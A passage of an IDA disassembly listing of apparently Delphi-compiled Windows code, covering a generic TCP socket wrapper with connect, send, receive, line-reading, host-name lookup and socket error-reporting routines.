		mov	esi, eax
		mov	eax, esi
		call	sub_40FAC8
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_40F995
		mov	eax, esi
		call	sub_402D2C

loc_40F995:				; CODE XREF: sub_40F96C+20j
		pop	esi
		pop	ebx
		retn
sub_40F96C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F998	proc near		; CODE XREF: sub_40FAD4+39p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+arg_0]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40FA7D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4028D4
		mov	word ptr [ebx],	2
		mov	eax, [esi+2Ch]
		push	eax
		call	j_getprotobynumber
		mov	esi, eax
		xor	eax, eax
		test	esi, esi
		jz	short loc_40F9F9
		mov	eax, [esi]
		push	eax
		mov	eax, [ebp+arg_0]
		call	sub_4038E8
		push	eax
		call	j_getservbyname

loc_40F9F9:				; CODE XREF: sub_40F998+4Ej
		test	eax, eax
		jnz	short loc_40FA13
		xor	edx, edx
		mov	eax, [ebp+arg_0]
		call	sub_407058
		push	eax
		call	j_htons
		mov	[ebx+2], ax
		jmp	short loc_40FA1B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FA13:				; CODE XREF: sub_40F998+63j
		mov	ax, [eax+8]
		mov	[ebx+2], ax

loc_40FA1B:				; CODE XREF: sub_40F998+79j
		mov	eax, [ebp+var_4]
		mov	edx, offset a255_255_255_25 ; "255.255.255.255"
		call	sub_403834
		jnz	short loc_40FA33
		mov	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_40FA5F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FA33:				; CODE XREF: sub_40F998+90j
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		mov	edi, eax
		push	edi
		call	j_inet_addr
		mov	esi, eax
		mov	[ebx+4], esi
		inc	esi
		jnz	short loc_40FA5F
		push	edi
		call	j_gethostbyname
		test	eax, eax
		jz	short loc_40FA5F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebx+4], eax

loc_40FA5F:				; CODE XREF: sub_40F998+99j
					; sub_40F998+B1j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40FA84

loc_40FA6C:				; CODE XREF: CODE:0040FA82j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		lea	eax, [ebp+arg_0]
		call	sub_4034C8
		retn
sub_40F998	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FA7D:				; DATA XREF: sub_40F998+21o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40FA6C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FA84:				; DATA XREF: sub_40F998+CFo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 0Fh
a255_255_255_25	db '255.255.255.255',0  ; DATA XREF: sub_40F998+86o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FAA4	proc near		; CODE XREF: sub_410188+1Ap
					; DATA XREF: CODE:0040F844o
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jnz	short loc_40FAB7
		call	j_WSAGetLastError
		mov	[ebx+28h], eax
		jmp	short loc_40FABC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FAB7:				; CODE XREF: sub_40FAA4+7j
		xor	eax, eax
		mov	[ebx+28h], eax

loc_40FABC:				; CODE XREF: sub_40FAA4+11j
		mov	eax, ebx
		call	sub_40FF9C
		pop	ebx
		retn
sub_40FAA4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FAC8	proc near		; CODE XREF: sub_40F96C+Dp
					; sub_412F7C+1Ap
		mov	eax, [eax+4]
		push	eax
		call	j_closesocket
		retn
sub_40FAC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40FAD4	proc near		; CODE XREF: sub_412EA0+27p

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40FB53
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		push	eax
		lea	edx, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40F998
		push	10h
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_connect
		mov	edx, eax
		mov	eax, ebx
		call	sub_40FF88
		mov	eax, ebx
		call	sub_40FB60
		mov	eax, ebx
		call	sub_40FF9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40FB5A

loc_40FB45:				; CODE XREF: CODE:0040FB58j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_40FAD4	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FB53:				; DATA XREF: sub_40FAD4+22o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40FB45
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FB5A:				; DATA XREF: sub_40FAD4+6Co
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FB60	proc near		; CODE XREF: sub_40FAD4+58p
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	dword ptr [esp+0], 10h
		push	esp
		lea	eax, [ebx+8]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_getsockname
		mov	dword ptr [esp+0], 10h
		push	esp
		lea	eax, [ebx+18h]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_getpeername
		pop	edx
		pop	ebx
		retn
sub_40FB60	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FB94	proc near		; DATA XREF: CODE:0040F848o
					; CODE:0040F8D8o
		push	ebx
		push	esi
		mov	ebx, eax
		push	0
		push	ecx
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	j_send
		mov	esi, eax
		mov	edx, esi
		mov	eax, ebx
		call	sub_40FF88
		mov	eax, ebx
		call	sub_40FF9C
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40FB94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FBBC	proc near		; DATA XREF: CODE:0040F84Co
					; CODE:0040F8DCo
		push	ebx
		push	ecx
		mov	[esp+0], dl
		mov	ebx, eax
		push	0
		push	1
		lea	eax, [esp+8]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_send
		mov	edx, eax
		mov	eax, ebx
		call	sub_40FF88
		mov	eax, ebx
		call	sub_40FF9C
		pop	edx
		pop	ebx
		retn
sub_40FBBC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40FBE8	proc near		; DATA XREF: CODE:0040F850o
					; CODE:0040F8E0o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40FC4B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	0
		mov	eax, [ebp+var_4]
		call	sub_403724
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_send
		mov	edx, eax
		mov	eax, ebx
		call	sub_40FF88
		mov	eax, ebx
		call	sub_40FF9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40FC52

loc_40FC42:				; CODE XREF: CODE:0040FC50j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40FBE8	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FC4B:				; DATA XREF: sub_40FBE8+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40FC42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FC52:				; DATA XREF: sub_40FBE8+55o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FC58	proc near		; DATA XREF: CODE:0040F854o
					; CODE:0040F8E4o
		push	ebx
		push	esi
		mov	ebx, eax
		push	0
		push	ecx
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	j_recv
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40FC78
		mov	dword ptr [ebx+28h], 2749h
		jmp	short loc_40FC81
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FC78:				; CODE XREF: sub_40FC58+15j
		mov	edx, esi
		mov	eax, ebx
		call	sub_40FF88

loc_40FC81:				; CODE XREF: sub_40FC58+1Ej
		mov	eax, ebx
		call	sub_40FF9C
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40FC58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FC90	proc near		; DATA XREF: CODE:0040F858o
					; CODE:0040F8E8o
		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, edx
		mov	esi, eax
		mov	byte ptr [esp+0], 0
		xor	ebx, ebx
		mov	edx, edi
		mov	eax, esi
		call	sub_410100
		test	al, al
		jz	short loc_40FCD8
		push	0
		push	1
		lea	eax, [esp+8]
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	j_recv
		test	eax, eax
		jnz	short loc_40FCCA
		mov	dword ptr [esi+28h], 2749h
		jmp	short loc_40FCD3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FCCA:				; CODE XREF: sub_40FC90+2Fj
		mov	edx, eax
		mov	eax, esi
		call	sub_40FF88

loc_40FCD3:				; CODE XREF: sub_40FC90+38j
		mov	bl, [esp+0]
		jmp	short loc_40FCDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FCD8:				; CODE XREF: sub_40FC90+19j
		mov	dword ptr [esi+28h], 274Ch

loc_40FCDF:				; CODE XREF: sub_40FC90+46j
		mov	eax, esi
		call	sub_40FF9C
		mov	eax, ebx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40FC90	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40FCF0	proc near		; DATA XREF: CODE:0040F85Co
					; CODE:0040F8ECo

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_420], ebx
		mov	[ebp+var_41C], ebx
		mov	[ebp+var_418], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40FEDB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		lea	eax, [ebp+var_411]
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	[edi+28h], eax
		xor	ebx, ebx

loc_40FD41:				; CODE XREF: sub_40FCF0+15Aj
		cmp	dword ptr [edi+30h], 0
		jnz	loc_40FDD4
		mov	eax, edi
		call	sub_41005C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40FD5D
		mov	esi, 1

loc_40FD5D:				; CODE XREF: sub_40FCF0+66j
		cmp	esi, 400h
		jle	short loc_40FD6A
		mov	esi, 400h

loc_40FD6A:				; CODE XREF: sub_40FCF0+73j
		cmp	esi, 1
		jnz	short loc_40FD91
		mov	edx, [ebp+var_4]
		mov	eax, edi
		mov	ecx, [eax]
		call	dword ptr [ecx+14h]
		mov	ebx, eax
		cmp	dword ptr [edi+28h], 0
		jnz	loc_40FE50
		lea	eax, [edi+30h]
		mov	edx, ebx
		call	sub_403670
		jmp	short loc_40FDD4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FD91:				; CODE XREF: sub_40FCF0+7Dj
		push	0
		push	esi
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [edi+4]
		push	eax
		call	j_recv
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, edi
		call	sub_40FF88
		test	ebx, ebx
		jnz	short loc_40FDB7
		mov	dword ptr [edi+28h], 2749h

loc_40FDB7:				; CODE XREF: sub_40FCF0+BEj
		cmp	dword ptr [edi+28h], 0
		jnz	loc_40FE50
		mov	[ebp+ebx+var_411], 0
		lea	eax, [edi+30h]
		mov	edx, [ebp+var_10]
		call	sub_403680

loc_40FDD4:				; CODE XREF: sub_40FCF0+55j
					; sub_40FCF0+9Fj
		mov	edx, [edi+30h]
		mov	eax, offset dword_40FEF4
		call	sub_4039B4
		mov	esi, eax
		test	esi, esi
		jg	short loc_40FDF1
		mov	eax, [edi+30h]
		call	sub_403724
		mov	esi, eax

loc_40FDF1:				; CODE XREF: sub_40FCF0+F5j
		lea	eax, [ebp+var_418]
		push	eax
		mov	ecx, esi
		dec	ecx
		mov	edx, 1
		mov	eax, [edi+30h]
		call	sub_40392C
		mov	edx, [ebp+var_418]
		lea	eax, [ebp+var_C]
		call	sub_40372C
		mov	eax, [edi+30h]
		mov	bl, [eax+esi-1]
		lea	eax, [edi+30h]
		mov	ecx, esi
		mov	edx, 1
		call	sub_40396C
		lea	eax, [ebp+var_41C]
		mov	edx, ebx
		call	sub_403670
		mov	edx, [ebp+var_41C]
		lea	eax, [ebp+var_C]
		call	sub_40372C
		cmp	bl, 0Ah
		jnz	loc_40FD41

loc_40FE50:				; CODE XREF: sub_40FCF0+8Fj
					; sub_40FCF0+CBj
		cmp	dword ptr [edi+28h], 0
		jnz	short loc_40FEA6
		lea	edx, [ebp+var_420]
		mov	eax, [ebp+var_C]
		call	sub_406F20
		mov	edx, [ebp+var_420]
		lea	eax, [ebp+var_C]
		call	sub_403560
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_40FF00
		call	sub_4039B4
		mov	esi, eax
		test	esi, esi
		jle	short loc_40FE99
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, esi
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_C]
		call	sub_40392C

loc_40FE99:				; CODE XREF: sub_40FCF0+193j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_C]
		call	sub_40351C
		jmp	short loc_40FEAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FEA6:				; CODE XREF: sub_40FCF0+164j
		mov	eax, [ebp+var_8]
		call	sub_4034C8

loc_40FEAE:				; CODE XREF: sub_40FCF0+1B4j
		mov	eax, edi
		call	sub_40FF9C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40FEE2

loc_40FEC2:				; CODE XREF: CODE:0040FEE0j
		lea	eax, [ebp+var_420]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_40FCF0	endp ; sp = -434h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FEDB:				; DATA XREF: sub_40FCF0+2Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40FEC2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FEE2:				; DATA XREF: sub_40FCF0+1CDo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40FEF4	dd 0Ah,	0FFFFFFFFh, 2	; DATA XREF: sub_40FCF0+E7o
dword_40FF00	dd 0A0Dh		; DATA XREF: sub_40FCF0+185o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FF04	proc near		; DATA XREF: CODE:0040F860o
					; CODE:0040F8F0o
		push	ebx
		push	esi
		mov	ebx, eax
		push	2
		push	ecx
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	j_recv
		mov	esi, eax
		mov	edx, esi
		mov	eax, ebx
		call	sub_40FF88
		mov	eax, ebx
		call	sub_40FF9C
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40FF04	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FF2C	proc near		; DATA XREF: CODE:0040F864o
					; CODE:0040F8F4o
		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, edx
		mov	esi, eax
		mov	byte ptr [esp+0], 0
		xor	ebx, ebx
		mov	edx, edi
		mov	eax, esi
		call	sub_410100
		test	al, al
		jz	short loc_40FF72
		push	2
		push	1
		lea	eax, [esp+8]
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	j_recv
		test	eax, eax
		jnz	short loc_40FF64
		mov	dword ptr [esi+28h], 2749h

loc_40FF64:				; CODE XREF: sub_40FF2C+2Fj
		mov	edx, eax
		mov	eax, esi
		call	sub_40FF88
		mov	bl, [esp+0]
		jmp	short loc_40FF79
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FF72:				; CODE XREF: sub_40FF2C+19j
		mov	dword ptr [esi+28h], 274Ch

loc_40FF79:				; CODE XREF: sub_40FF2C+44j
		mov	eax, esi
		call	sub_40FF9C
		mov	eax, ebx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40FF2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40FF88	proc near		; CODE XREF: sub_40F908+3Dp
					; sub_40FAD4+51p ...
		push	ebx
		mov	ebx, eax
		inc	edx
		jnz	short loc_40FF95
		call	j_WSAGetLastError
		jmp	short loc_40FF97
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40FF95:				; CODE XREF: sub_40FF88+4j
		xor	eax, eax

loc_40FF97:				; CODE XREF: sub_40FF88+Bj
		mov	[ebx+28h], eax
		pop	ebx
		retn
sub_40FF88	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40FF9C	proc near		; CODE XREF: sub_40F908+44p
					; sub_40FAA4+1Ap ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_41002B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	byte ptr [ebx+34h], 0
		jz	short loc_410015
		cmp	dword ptr [ebx+28h], 0
		jz	short loc_410015
		lea	edx, [ebp+var_4]
		mov	eax, [ebx+28h]
		call	sub_4101AC
		mov	eax, [ebx+28h]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_14]
		push	eax
		push	1
		mov	ecx, offset aTcpIpSocketErr ; "TCP/IP socket error %d: %s"
		mov	dl, 1
		mov	eax, ds:off_40F78C
		call	sub_40948C
		mov	esi, eax
		mov	eax, [ebx+28h]
		mov	[esi+0Ch], eax
		lea	eax, [esi+10h]
		mov	edx, [ebp+var_4]
		call	sub_40351C
		mov	eax, esi
		call	sub_402F98

loc_410015:				; CODE XREF: sub_40FF9C+21j
					; sub_40FF9C+27j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_410032

loc_410022:				; CODE XREF: CODE:00410030j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40FF9C	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41002B:				; DATA XREF: sub_40FF9C+12o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_410022
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410032:				; DATA XREF: sub_40FF9C+81o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 1Ah
aTcpIpSocketErr	db 'TCP/IP socket error %d: %s',0 ; DATA XREF: sub_40FF9C+4Eo
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_41005C	proc near		; CODE XREF: sub_40FCF0+5Dp
		push	ecx
		push	esp
		push	4004667Fh
		mov	eax, [eax+4]
		push	eax
		call	j_ioctlsocket
		mov	eax, [esp+0]
		pop	edx
		retn
sub_41005C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_410074	proc near		; CODE XREF: sub_412EA0+50p

var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, edx
		xor	eax, eax
		push	ebp
		push	offset loc_4100DF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ebx, [ebp+var_100]
		mov	eax, esi
		call	sub_4034C8
		push	0FFh
		push	ebx
		call	j_gethostname
		test	ebx, ebx
		jz	short loc_4100C0
		push	ebx
		call	j_gethostbyname
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4100C0
		mov	eax, esi
		mov	edx, [ebx]
		call	sub_403680

loc_4100C0:				; CODE XREF: sub_410074+35j
					; sub_410074+41j
		cmp	dword ptr [esi], 0
		jnz	short loc_4100D1
		mov	eax, esi
		mov	edx, offset dword_4100F4
		call	sub_40351C

loc_4100D1:				; CODE XREF: sub_410074+4Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4100E6

locret_4100DE:				; CODE XREF: sub_410074+70j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4100DF:				; DATA XREF: sub_410074+10o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_4100DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4100E6:				; CODE XREF: sub_410074+6Aj
					; DATA XREF: sub_410074+65o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_410074	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 9
dword_4100F4	dd 2E373231h, 2E302E30h, 31h ; DATA XREF: sub_410074+53o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_410100	proc near		; CODE XREF: sub_40FC90+12p
					; sub_40FF2C+12p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF4h
		mov	ecx, edx
		mov	edi, eax
		mov	eax, ecx
		mov	ebx, 3E8h
		cdq
		idiv	ebx
		imul	eax, edx, 3E8h
		mov	[esp+10Ch+var_108], eax
		mov	eax, ecx
		mov	ebx, 3E8h
		cdq
		idiv	ebx
		mov	[esp+10Ch+var_10C], eax
		mov	esi, esp
		inc	ecx
		jnz	short loc_410135
		xor	esi, esi

loc_410135:				; CODE XREF: sub_410100+31j
		lea	eax, [esp+10Ch+var_104]
		call	sub_40F6C4
		lea	edx, [esp+10Ch+var_104]
		mov	eax, [edi+4]
		call	sub_40F6B4
		push	esi
		push	0
		push	0
		lea	eax, [esp+118h+var_104]
		push	eax
		push	0
		call	j_select
		mov	esi, eax
		mov	edx, esi
		mov	eax, edi
		call	sub_40FF88
		cmp	dword ptr [edi+28h], 0
		jz	short loc_41016E
		xor	esi, esi

loc_41016E:				; CODE XREF: sub_410100+6Aj
		test	esi, esi
		setnle	bl
		mov	eax, edi
		call	sub_40FF9C
		mov	eax, ebx
		add	esp, 10Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_410100	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_410188	proc near		; DATA XREF: CODE:0040F8D4o
		push	ebx
		mov	ebx, eax
		push	6
		push	1
		push	2
		call	j_socket
		mov	[ebx+4], eax
		mov	dword ptr [ebx+2Ch], 6
		mov	eax, ebx
		call	sub_40FAA4
		pop	ebx
		retn
sub_410188	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4101AC	proc near		; CODE XREF: sub_40FF9C+2Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_41074A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		cmp	eax, 2745h
		jg	loc_4102AC
		jz	loc_41056C
		cmp	eax, 2738h
		jg	loc_410267
		jz	loc_41048F
		cmp	eax, 2728h
		jg	short loc_41023E
		jz	loc_410429
		cmp	eax, 271Dh
		jg	short loc_410225
		jz	loc_4103F6
		sub	eax, 1
		jb	loc_4103C3
		sub	eax, 2713h
		jz	loc_4103D4
		sub	eax, 5
